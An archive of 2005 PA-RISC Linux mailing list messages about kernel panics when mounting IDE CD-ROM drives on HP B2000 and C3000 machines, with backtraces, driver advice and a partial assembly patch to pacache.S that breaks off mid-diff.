IASQ: 00000000 00000000 IAOQ: 1014d19c 1014d1a0<br><br>
&nbsp;IIR: 0cb81099&nbsp;&nbsp;&nbsp; ISR: 00000000&nbsp; IOR:
0000000c<br><br>
&nbsp;CPU:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; CR30:
1ba94000 CR31: 10428000<br><br>
&nbsp;ORIG_R28: ea3dad4f<br><br>
&nbsp;IAOQ[0]: mempool_alloc+0x9c/0x144<br><br>
&nbsp;IAOQ[1]: mempool_alloc+0xa0/0x144<br><br>
&nbsp;RP(r2): __blk_queue_bounce+0x1fc/0x294<br><br>
Kernel panic - not syncing: Kernel Fault<br><br>
&nbsp;<br>
</font><br>
</html>

--=====================_17015517==.ALT--



-- 
To UNSUBSCRIBE, email to debian-hppa-REQUEST@lists.debian.org
with a subject of "unsubscribe". Trouble? Contact listmaster@lists.debian.org



From - Thu Nov 08 21:33:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Max Grabert <parisc@gmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Kernel panic while mounting a CD-ROM drive
Date: Fri, 17 Jun 2005 16:38:15 +0100
Lines: 35
Approved: news@gmane.org
Message-ID: <e6eae029050617083864c0379c__10657.2296740071$1416623804$gmane$org@mail.gmail.com>
References: <5.1.1.6.1.20050617230817.02aae7d0@pop.singnet.com.sg>
Reply-To: Max Grabert <parisc@gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416623804 14839 80.91.229.3 (22 Nov 2014 02:36:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:36:44 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org,
 debian-hppa@lists.debian.org
To: "J. L. Lee" <jllee@singnet.com.sg>
Original-X-From: - Wed Jul 02 21:27:21 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 17 Jun 2005 15:38:26 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx019) with SMTP; 17 Jun 2005 17:38:26 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 7710E7D644;
	Fri, 17 Jun 2005 09:38:23 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 16907-03; Fri, 17 Jun 2005 09:38:23 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 7220A7D647;
	Fri, 17 Jun 2005 09:38:22 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 4EEAE7D643
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 17 Jun 2005 09:38:18 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 16900-01 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 17 Jun 2005 09:38:17 -0600 (MDT)
Original-Received: from wproxy.gmail.com (wproxy.gmail.com [64.233.184.195])
	by free.linux.hp.com (Postfix) with ESMTP id E65D67D641
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 17 Jun 2005 09:38:16 -0600 (MDT)
Original-Received: by wproxy.gmail.com with SMTP id 36so1186784wra
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 17 Jun 2005 08:38:15 -0700 (PDT)
DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com;
	h=received:message-id:date:from:reply-to:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references;
	b=GAQXEadawGgAcvvMapQYwEH0/k7dNLj0Aq6097MmYW009UXNnzY27q/+U9/swqtHoGE8aMLbCNapZvXV1jUAmmuCfsj5GWfJSoIRajW3gihmvPol9pcrqy1KPfEyVNx0zr8/SdkmH+2Jt3mC0H8XVj5t7MvBVqAoEDjb0/ACXJM=
Original-Received: by 10.54.103.11 with SMTP id a11mr1170838wrc;
	Fri, 17 Jun 2005 08:38:15 -0700 (PDT)
Original-Received: by 10.54.57.24 with HTTP; Fri, 17 Jun 2005 08:38:15 -0700 (PDT)
In-Reply-To: <5.1.1.6.1.20050617230817.02aae7d0@pop.singnet.com.sg>
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: JIvAYoM7eSEkYb6WZHQhaXN1IGRvbwDR
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22779

On 6/17/05, J. L. Lee <jllee@singnet.com.sg> wrote:
>  Hi,
>=20
>  I set up my B2000 (with PCI Matrox Millennum II card) to run on kernel
> 2.6.11-rc6-pa1 a few days ago and was able to mount the CD-ROM drive and
> used it on several occassions. However it kept on causing kernel panic an=
d
> froze the B2000 whenever I tried to mount the CD-ROM drive since today.=
=20
>=20
>  The difference then and now (since I last used the CD-ROM drive) is that=
 I
> have installed successfully a X Windows package. Could this be the reason=
?

Sounds rather unlikely ...
=20
> I have tried both init level 2 & 3 but this did not make a difference.
> Any idea what went wrong?

Perhaps you are using the ide-cd driver in the kernel?
It is known to cause a HPMC on PA ...
Make sure you don't have ide-cd (IDE ATAPI CD-ROM support) enabled
in the kernel, but use ide-scsi (IDE SCSI Emulation) instead
(and enable SCSI CD-ROM support).
You also might need to append "hda=3Dide-scsi" in your kernel boot
options (/etc/palo.conf)

   Max
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:32 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Erik Heckers <erik.heckers@web.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: Kernel panic while mounting a CD-ROM drive
Date: Fri, 17 Jun 2005 18:05:38 +0200
Organization: http://freemail.web.de/
Lines: 155
Approved: news@gmane.org
Message-ID: <1464443473__42670.0441436425$1416623805$gmane$org@web.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=iso-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623805 14844 80.91.229.3 (22 Nov 2014 02:36:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:36:45 +0000 (UTC)
To: debian-hppa@lists.debian.org,
 parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:21 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 17 Jun 2005 16:06:00 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx039) with SMTP; 17 Jun 2005 18:06:00 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id DDD787D65A;
	Fri, 17 Jun 2005 10:05:56 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 17215-03; Fri, 17 Jun 2005 10:05:56 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id BFB487D651;
	Fri, 17 Jun 2005 10:05:55 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A03597D648
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 17 Jun 2005 10:05:47 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 16900-10 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 17 Jun 2005 10:05:47 -0600 (MDT)
Original-Received: from fmmailgate05.web.de (fmmailgate05.web.de [217.72.192.243])
	by free.linux.hp.com (Postfix) with ESMTP id C865A7D647
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 17 Jun 2005 10:05:46 -0600 (MDT)
Original-Received: by fmmailgate05.web.de (8.12.10/8.12.10/webde Linux 0.7) with SMTP
	id j5HG5hII029711; Fri, 17 Jun 2005 18:05:43 +0200
Original-Received: from [212.121.135.227] by freemailng0304.web.de with HTTP;
	Fri, 17 Jun 2005 18:05:38 +0200
Precedence: fm-user
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: vpHAYoh4eSEkVb6WZHQhaXN1IGRvb4B6
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22780


Hello!

The same happens on my C3000 using the prebuild kernels from parisc-linux.org and
a IDE cdrom drive.
[but there is some progress as my USB keyboard works again so I can use the local monitor for login].
I think the last kernel I tested was version 2.6.12-rc5-pa3

What 'worries' me is that I can see a message like 'module ide_cd missing' when booting.
So far I don't know if that message indicates some error in the kernel (build) or if my configuration tells
the kernel to load it 'dynamically' afterwards (found nothing in /etc/...)

BTW: When I use a serial cable and connect it a PC running minicom I get normal console output, but
suddenly (during hardware detection if I remember right) it starts to beep a lot  and I get only
garbage on the screen. After that 'dataquake' is over it works again ...

When I have some time this weekend to test the newest kernel I will try to log the boot message and kernel
panic again - the last time it was somehow missing from my minicom logfile ...)

Erik.

"J. L. Lee" <jllee@singnet.com.sg> schrieb am 17.06.05 17:27:08:
>  Hi,
> 
>  I set up my B2000 (with PCI Matrox Millennum II card) to run on kernel 2.6.11-rc6-pa1 a few days ago and was able to mount the CD-ROM drive and used it on several occassions. However it kept on causing kernel panic and froze the B2000 whenever I tried to mount the CD-ROM drive since today. 
> 
>  The difference then and now (since I last used the CD-ROM drive) is that I have installed successfully a X Windows package. Could this be the reason? I have tried both init level 2 & 3 but this did not make a difference. Any idea what went wrong?
> 
>  (Please read pps below for the kernel panic messages.)
> 
>  Rgds,
>  Lee
> 
>  ps. Last few lines of the start-up messages before login prompt showing what components of X Windows is running:
> 
> Initializing random number generator...done.
>  Setting up X server socket directory /tmp/.X11-unix...done.
>  Setting up ICE socket directory /tmp/.ICE-unix...done.
>  INIT: Entering runlevel: 3
>  Starting system log daemon: syslogd.
>  Starting kernel log daemon: klogd.
>  Starting portmap daemon: portmap.
>  Starting internet superserver: inetd.
>  Setting up X font server socket directory /tmp/.font-unix...done.
>  Starting X font server: xfs.
>  Starting X-TT font server: xfs-xtt.
>  Starting Xprint servers: Xprt.
>  Starting file alteration monitor: FAM.
>  Starting periodic command scheduler: cron.
>  Not starting WINGs display manager (wdm); it is not the default display manager.
>  Not starting X display manager (xdm); it is not the default display manager.
> 
>  Debian GNU/Linux 3.1 DebianHPPA.example.com ttyS0
> 
>  DebianHPPA.example.com login:
> 
>  
>  pps. Kernel panic messages immediately after I issued "mount" command:
> 
>  mount /dev/hda /media/cdrom0
>  Backtrace:
> 
>   [<10158408>] __blk_queue_bounce+0x1fc/0x294
> 
>   [<10278774>] __make_request+0x74/0x4e8
> 
>   [<10279050>] generic_make_request+0x1a8/0x26c
> 
>   [<10279184>] submit_bio+0x70/0x120
> 
>   [<10171a10>] submit_bh+0x148/0x1ac
> 
>   [<101705e8>] block_read_full_page+0x220/0x338
> 
>   [<1015125c>] read_pages+0x16c/0x1d8
> 
>   [<101513d4>] __do_page_cache_readahead+0x10c/0x190
> 
>   [<1015160c>] blockable_page_cache_readahead+0x68/0xe0
> 
>   [<101518c4>] page_cache_readahead+0x18c/0x1ac
> 
>   [<1014a050>] do_generic_mapping_read+0x6c0/0x6c8
> 
>   [<1014a374>] __generic_file_aio_read+0x1b0/0x1c8
> 
>   [<1014a494>] generic_file_read+0x90/0xb8
> 
>   [<1016c210>] vfs_read+0xe0/0x158
> 
>   [<1016c52c>] sys_read+0x58/0xa8
> 
>   [<1010d12c>] syscall_exit+0x0/0x14
> 
>  
> 
>  Kernel Fault: Code=26 regs=1ba94a40 (Addr=0000000c)
> 
>  
>       YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
> 
>  PSW: 00000000000001101110111100001111 Not tainted
> 
>  r00-03  00000000 103a7010 10158408 00011210
> 
>  r04-07  00011200 00000000 00000000 1f44d140
> 
>  r08-11  1ba94898 00000000 1f76c370 1049f010
> 
>  r12-15  00000000 10000000 1049f010 10000000
> 
>  r16-19  1049f010 10175040 1fff2420 1013ed60
> 
>  r20-23  1ba949d4 ffffffaf 1ba949d4 00000000
> 
>  r24-27  00000000 00000010 00011200 1038d010
> 
>  r28-31  1f44d140 00052045 1ba94a40 1014d1ac
> 
>  sr0-3   00000000 00000000 00000000 00000028
> 
>  sr4-7   00000000 00000000 00000000 00000000
> 
>  
>  IASQ: 00000000 00000000 IAOQ: 1014d19c 1014d1a0
> 
>   IIR: 0cb81099    ISR: 00000000  IOR: 0000000c
> 
>   CPU:        0   CR30: 1ba94000 CR31: 10428000
> 
>   ORIG_R28: ea3dad4f
> 
>   IAOQ[0]: mempool_alloc+0x9c/0x144
> 
>   IAOQ[1]: mempool_alloc+0xa0/0x144
> 
>   RP(r2): __blk_queue_bounce+0x1fc/0x294
> 
>  Kernel panic - not syncing: Kernel Fault
> 
>   
>  
>  


__________________________________________________________
Mit WEB.DE FreePhone mit hoechster Qualitaet ab 0 Ct./Min.
weltweit telefonieren! http://freephone.web.de/?mc=021201

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: Kernel panic while mounting a CD-ROM drive
Date: Sat, 18 Jun 2005 16:48:21 -0600
Lines: 41
Approved: news@gmane.org
Message-ID: <20050618224821.GD24175__18077.9046299451$1416623805$gmane$org@colo.lackof.org>
References: <1464443473@web.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623805 14846 80.91.229.3 (22 Nov 2014 02:36:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:36:45 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org,
 debian-hppa@lists.debian.org
To: Erik Heckers <erik.heckers@web.de>
Original-X-From: - Wed Jul 02 21:27:21 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 18 Jun 2005 22:44:33 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx022) with SMTP; 19 Jun 2005 00:44:33 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A0FD67D6A9;
	Sat, 18 Jun 2005 16:44:30 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 26721-06; Sat, 18 Jun 2005 16:44:30 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A8EB87D6AC;
	Sat, 18 Jun 2005 16:44:29 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 982A27D6A6
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 18 Jun 2005 16:44:26 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 26721-03 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 18 Jun 2005 16:44:26 -0600 (MDT)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id 1BABA7D6A4
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 18 Jun 2005 16:44:26 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id F062229803C;
	Sat, 18 Jun 2005 16:48:22 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 27855-04; Sat, 18 Jun 2005 16:48:21 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 8814E298034; Sat, 18 Jun 2005 16:48:21 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <1464443473@web.de>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: hcbGYpxWeSEkZL6WZHQhaXN1IGRvbwDO
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22781

On Fri, Jun 17, 2005 at 06:05:38PM +0200, Erik Heckers wrote:
> 
> Hello!
> 
> The same happens on my C3000 using the prebuild kernels from parisc-linux.org and
> a IDE cdrom drive.
> [but there is some progress as my USB keyboard works again so I can use the local monitor for login].
> I think the last kernel I tested was version 2.6.12-rc5-pa3
> 
> What 'worries' me is that I can see a message like 'module ide_cd missing' when booting.

Please capture and post the entire console output from firmware prompt
until "login" prompt.

> So far I don't know if that message indicates some error in the kernel (build) or if my configuration tells
> the kernel to load it 'dynamically' afterwards (found nothing in /etc/...)

If the kernel boots at all, you can look in /lib/modules/`uname -r`/kernel/drivers/ide/

> BTW: When I use a serial cable and connect it a PC running minicom I
> get normal console output, but suddenly (during hardware detection if
>  I remember right) it starts to beep a lot  and I get only
> garbage on the screen. After that 'dataquake' is over it works again ...

I expect this is because the suckyio chip gets reset by the
pdc_io_reset_devices() call in sba_iommu.c. And since the serial device
is integrated in suckyio, serial gets pounded as well.

> When I have some time this weekend to test the newest kernel I will try to log the boot message and kernel
> panic again - the last time it was somehow missing from my minicom logfile ...)

that would be good.

thanks,
grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Kernel panic c3k,
	memset -> journal_add_journal_head
Date: Mon, 20 Jun 2005 11:44:10 -0400 (EDT)
Lines: 194
Approved: news@gmane.org
Message-ID: <200506201544.j5KFiAKl006226@hiauly1.hia.nrc.ca>
References: <20050620051542.GA18349@systemhalted.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623805 14848 80.91.229.3 (22 Nov 2014 02:36:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:36:45 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: carlos@systemhalted.org (Carlos O'Donell)
Original-X-From: - Wed Jul 02 21:27:21 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 20 Jun 2005 15:44:22 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx061) with SMTP; 20 Jun 2005 17:44:22 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id ECAC67D6BA;
	Mon, 20 Jun 2005 09:44:17 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 06461-05; Mon, 20 Jun 2005 09:44:17 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E4DCB7D6BC;
	Mon, 20 Jun 2005 09:44:16 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 580E77D6AC
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 20 Jun 2005 09:44:13 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 06461-02 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 20 Jun 2005 09:44:12 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 9FABE7D697
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 20 Jun 2005 09:44:12 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	j5KFiBnV006227; Mon, 20 Jun 2005 11:44:11 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id j5KFiAKl006226;
	Mon, 20 Jun 2005 11:44:10 -0400 (EDT)
In-Reply-To: <20050620051542.GA18349@systemhalted.org> from "Carlos O'Donell"
	at Jun 20, 2005 01:15:44 am
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: AIHEYnIjeSEkT76WZHQhaXN1IGRvb0CY
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22782

> pa,
> 
> 'make -k check' in the binutils testsuite consistently crashes my box :(

FWIW, I haven't been able to crash 2.6.10-pa11 with the enclosed
change in just under 6 days of running.  Expect sometimes hangs after
the ld test.  There's also an issue with ksoftirqd/0.  It never
seems to sleep, so the load average never drops below 1.  I'm using
the default config.

Except for the alignment change in pacache.S, all the changes are
backports of later patches..

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)

Index: arch/parisc/kernel/pacache.S
===================================================================
RCS file: /var/cvs/linux-2.6/arch/parisc/kernel/pacache.S,v
retrieving revision 1.15
diff -u -p -u -3 -p -r1.15 pacache.S
--- arch/parisc/kernel/pacache.S	5 Jan 2005 05:54:11 -0000	1.15
+++ arch/parisc/kernel/pacache.S	20 Jun 2005 14:57:06 -0000
@@ -46,7 +46,7 @@
 #include <asm/cache.h>
 
 	.text
-	.align	128
+	.align	512
 
 	.export flush_tlb_all_local,code
 
@@ -354,7 +354,11 @@ copy_user_page_asm:
 	std		%r22, 120(%r26)
 	ldo		128(%r26), %r26
 
-	ADDIB>		-1, %r1, 1b		/* bundle 10 */
+	/* conditional branches nullify on forward taken branch, and on
+	 * non-taken backward branch. Note that .+4 is a backwards branch.
+	 * The ldd should only get executed if the branch is taken.
+	 */
+	ADDIB>,n	-1, %r1, 1b		/* bundle 10 */
 	ldd		0(%r25), %r19		/* start next loads */
 
 #else
@@ -366,10 +370,10 @@ copy_user_page_asm:
 	 * the full 64 bit register values on interrupt, we can't
